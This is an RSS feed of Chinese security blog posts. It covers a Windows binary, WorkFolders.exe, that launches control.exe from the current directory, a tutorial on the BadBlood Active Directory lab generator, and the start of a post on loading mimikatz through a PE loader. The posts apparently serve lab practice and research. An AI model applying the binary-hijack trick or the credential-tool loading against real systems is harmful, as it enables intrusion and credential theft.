<p>逛推特发现一个新的lolbin</p><p><br/></p><p><a href="https://twitter.com/ElliotKillick/status/1449812843772227588?s=20" target="_blank">https://twitter.com/ElliotKillick/status/1449812843772227588?s=20</a></p><p><br/></p><p>用法如下</p><p><br/></p><p><br/></p><p><img class="rich_pages wxw-img" data-fileid="100002536" data-galleryid="" data-ratio="0.6754966887417219" data-s="300,640" style="" data-type="png" data-w="755" src="https://wechat2rss.xlab.app/img-proxy/?k=09df4c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibqaPsAia51TbTjjCV7vNUfAXMuneMRRgSTMDSxMQQtpXsLHOMxiaqXKuzt4felsCSAaYbibgNYEhTCqw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p>可能问题发生在于WorkFolders.exe调用ShellExecute()执行当前目录下的control.exe，有点dll劫持的味儿了。</p>



<p><a href="2247486188">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e3994a3e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486188%26idx%3D1%26sn%3Df967d3a558c51f2b60aedbc7a0bebf7c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 22 Oct 2021 09:06:00 +0800</pubDate>
    </item>
    <item>
      <title>&#xA;&#xA;警钟长鸣，勿忘国耻，吾辈自强</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486178&amp;idx=1&amp;sn=2fa0351de116e92b9f53b4666b1aee63</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-09-18 11:20</span> <span style="display: inline-block;"></span>
</p>

<p></p>




<div id="js_top_profile" class="profile_area_hide"><div id="follow_placeholder" aria-hidden="true" class="wx_follow_context wx_follow_primary wx_follow_smart wx_follow_top "><div class="wx_follow_media weui-flex weui-flex_align-center "><div class="wx_follow_hd "><img src="http://mmbiz.qpic.cn/mmbiz_png/zleycDibFeibrPDxUHK9kOA3jgTk1prZXBowyNtBcv0VU9DagYLxBoZKmJq57NnoiaHurRGP81f8uRnkk2mVbibQIQ/300?wx_fmt=png" class="wx_follow_avatar "/></div> <div class="wx_follow_bd weui-flex__item "><div class="wx_follow_info "><div class="wx_follow_nickname ">ChaBug</div></div></div></div></div></div> <div class="share_notice js_share_notice_dom  "><!----> </div>   <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <!----> <div role="option" class="rich_media_meta_list "><div class="rich_media_meta_area_primary "><!----> <span id="content_read_num" class="rich_media_meta rich_media_meta_text rich_media_meta_empty_hide "></span> </div> <div class="rich_media_meta_area_extra "><span id="publish_time" class="rich_media_meta rich_media_meta_text "></span>  <span id="js_ip_wording_wrp" class="rich_media_meta rich_media_meta_text " style="display:none;"><span id="js_ip_wording"></span></span></div></div>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6e1ef03f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486178%26idx%3D1%26sn%3D2fa0351de116e92b9f53b4666b1aee63%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 18 Sep 2021 11:20:00 +0800</pubDate>
    </item>
    <item>
      <title>BadBlood：打造真实环境的LDAP靶场</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486175&amp;idx=1&amp;sn=6f8c9b1bc7a6dd831bf201f90b8c8f09</link>
      <description>BadBlood是一个老外在GitHub上的项目，作用是用于填充AD域中的活动目录(LDAP)，来创建一个接近于真实世界的域环境。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Y4er</span> <span>2021-08-31 19:55</span> <span style="display: inline-block;"></span>
</p>

<p>BadBlood是一个老外在GitHub上的项目，作用是用于填充AD域中的活动目录(LDAP)，来创建一个接近于真实世界的域环境。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=962495be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibrvOK60Xianw4micMaY9124WHK74TowYqjIJIsO9o42k8NFQrjxwoT3pE7vHK6ZbkZmia26TicamqkSVg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<blockquote style="box-sizing: border-box;margin-top: 0.8em;margin-bottom: 0.8em;border-left-width: 4px;border-left-color: rgb(223, 226, 229);padding-top: 0px;padding-right: 15px;padding-left: 15px;color: rgb(119, 119, 119);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;width: inherit;"><span style="box-sizing: border-box;">人翻+机翻 大概看得懂就行</span></p></blockquote><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">BadBlood</span></h1><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">BadBlood是一个老外在GitHub上的项目，作用是用于填充AD域中的活动目录(LDAP)，来创建一个接近于真实世界的域环境。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">每次运行这个工具所产生的计算机、组、用户、ACL都不同，用来搭建靶场美滋滋。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">官方文档：</span><a href="https://www.secframe.com/badblood/" target="_blank">https://www.secframe.com/badblood/</a></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">使用方法</span></h1><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">在域控制器上使用域管账户运行</span></p><pre spellcheck="false" lang="powershell" style="box-sizing: border-box;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);background-position: inherit;background-repeat: inherit;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><div lang="powershell" style="box-sizing: border-box;height: auto;overflow: hidden;background: inherit;"><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding-right: 4px;padding-left: 4px;border-radius: 0px;border-width: 0px 30px 0px 0px;font-size: inherit;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;background-position: 0px 0px;word-break: normal;border-right-style: none;border-right-color: transparent;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">git</span> <span style="box-sizing: border-box;">clone</span> <span style="box-sizing: border-box;">https</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">://</span><span style="box-sizing: border-box;">github</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">com</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;">davidprowe</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;">badblood</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">git</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding-right: 4px;padding-left: 4px;border-radius: 0px;border-width: 0px 30px 0px 0px;font-size: inherit;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;background-position: 0px 0px;word-break: normal;border-right-style: none;border-right-color: transparent;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;">badblood</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">/</span><span style="box-sizing: border-box;">invoke-badblood</span><span style="box-sizing: border-box;">.</span><span style="box-sizing: border-box;">ps1</span></span></pre></div></pre><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">1. 安装LAPS</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">Badblood 通过安装 LAPS 来扩展当前域的架构 </span><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">AD_Laps_install\InstallLAPSSchema.ps1</code><span style="box-sizing: border-box;">，LAPS是 Microsoft 的免费工具，通过随机生成密码来修复跨域的横向移动。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">2. OU创建</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">AD_OU_CreateStructure\CreateOUStructure.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">默认配置文件3lettercodes.csv里可以修改OU的结构。详细的子结构也可以修改createoustructure.ps1中的变量，该工具的第一个版本创建了一个类似于下图所示的 OU 结构。BadBlood 使用这种新的 OU 结构来随机化对象和权限的放置。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.352112676056338" data-s="300,640" style="" data-type="png" data-w="1846" src="https://wechat2rss.xlab.app/img-proxy/?k=02ab1521&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WHtA1zqQzs70JFOKJIbOmqVPNOzatndBwsMp5nlPiczO2TjUze6gkBeXw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">3. 用户创建</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">AD_Groups_Create\CreateGroups.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">OU创建完之后，开始在域中创建随机数量的用户(500-10000)。在创建每个用户期间，BadBlood 随机选择一个 OU 并将该人置于随机路径中。该工具根据 AD_Users_Create\Names 文件夹中的文本文件生成非常随机的男性和女性用户。</span><strong style="box-sizing: border-box;">此外，每个用户都使用唯一的密码创建。</strong></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">4. 组创建</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">AD_Groups_Create\CreateGroups.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">这些组在此脚本中随机命名，从与脚本位于同一文件夹中的 hotmail.txt 文件中提取信息。组，就像用户一样，随机放置在域中的随机 OU 和容器中。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">5. 创建计算机</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">AD_Computers_Create\CreateComputers.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">这些计算机也有随机生成的名称。与之前创建的其他对象一样，计算机被放置在随机 OU 中。如果您想使用此工具创建更多计算机，请在 Invoke-BadBlood 脚本中编辑变量 $NumOfComps。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">6. 创建ACL</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">AD_Permission_Randomizer\GenerateRandomPermissions.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">这是 BadBlood 最引以为豪的部分。此脚本从文件夹 AD_OU_SetACL 调用和导入函数。这个文件夹中有很多脚本，每个脚本里面都有很多功能。它们可用于自动执行管理员在工作日可能遇到的许多 Active Directory 权限任务。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">7. 将对象添加到组</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">Ad_Groups_Create\AddRandomToGroups.ps1</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">注意用户数、计算机数、组数、ACL 数和关系数展开的组成员身份</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4464668094218415" data-s="300,640" style="" data-type="png" data-w="1868" src="https://wechat2rss.xlab.app/img-proxy/?k=71357815&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WHtVicrTfx1NS8ahD9PcPr5Oibv5OklNEmJSy9Px9AJK7VYD2yavm0kUicA%2F640%3Fwx_fmt%3Dpng"/></p><h1 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 2.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.2;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">效果</span></h1><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">通过Bloodhound收集到的LDAP信息如图</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="586" data-backw="578" data-galleryid="" data-ratio="1.0138568129330254" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="866" src="https://wechat2rss.xlab.app/img-proxy/?k=826fc6a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WH3NtD1zRuGqicMC0bibiaZ4icpia5iaYGgQQpkR4MswV2LUJ3I1YpXfxdQ1Pw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5209452201933404" data-s="300,640" style="" data-type="png" data-w="1862" src="https://wechat2rss.xlab.app/img-proxy/?k=c3596b04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WH18icOq5N7icAXgdAEW0nHGh63VqrV5UKLPLppUgqAOKqooCbRGBNwqIA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4504310344827586" data-s="300,640" style="" data-type="png" data-w="1856" src="https://wechat2rss.xlab.app/img-proxy/?k=19799e9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WHPBYmM2oowsSNz0N92Wr1yzW2Xa6XrX58rd4CGpzhNxE5bL0Fa7ibK5g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5242018537590113" data-s="300,640" style="" data-type="png" data-w="1942" src="https://wechat2rss.xlab.app/img-proxy/?k=c20e77d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibrvOK60Xianw4micMaY9124WHMoWkO4mUL7LkQX51oTXohuDykZiafZpgIYwiavvib0peKic8oibGqIZgyew%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p>



<p><a href="2247486175">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4e6d5bf4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486175%26idx%3D1%26sn%3D6f8c9b1bc7a6dd831bf201f90b8c8f09%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Aug 2021 19:55:00 +0800</pubDate>
    </item>
    <item>
      <title>通过PELoader加载mimikatz</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486153&amp;idx=1&amp;sn=49f47f8cc9b849b83ace84ab578299d4</link>
      <description>闲着逛Twitter看到老外用dotnet core写了个peloader来加载mimikatz，学一下。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Y4er</span> <span>2021-08-30 18:00</span> <span style="display: inline-block;"></span>
</p>

<p>闲着逛Twitter看到老外用dotnet core写了个peloader来加载mimikatz，学一下。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=52311b94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibor8FjASXjVcicLAzMQGhXtbz23j3p8lGFwtqgdQ5S7icoYvib26SQQpcVKB1w7mzfXKBWA1BnVWH1mw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">最近离职在家，闲着逛Twitter看到老外用dotnet core写了个peloader来加载mimikatz，学一下。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">项目地址：</span><a href="https://github.com/secdev-01/Mimikore" target="_blank">https://github.com/secdev-01/Mimikore</a></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=93d2fab2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibor8FjASXjVcicLAzMQGhXtbl9LiaoolJUVnNwtib5Sx6vur9EQiaA71PcJ7hAlFCEymt3Fm0tUpnaicNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;">dotnet core可以打包成大文件，但是体积太大了</span><br/></p><pre spellcheck="false" lang="" style="box-sizing: border-box;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);background-position: inherit;background-repeat: inherit;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><div lang="" style="box-sizing: border-box;height: auto;overflow: hidden;background: inherit;"><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding-right: 4px;padding-left: 4px;border-radius: 0px;border-width: 0px 30px 0px 0px;font-size: inherit;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;background-position: 0px 0px;word-break: normal;border-right-style: none;border-right-color: transparent;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 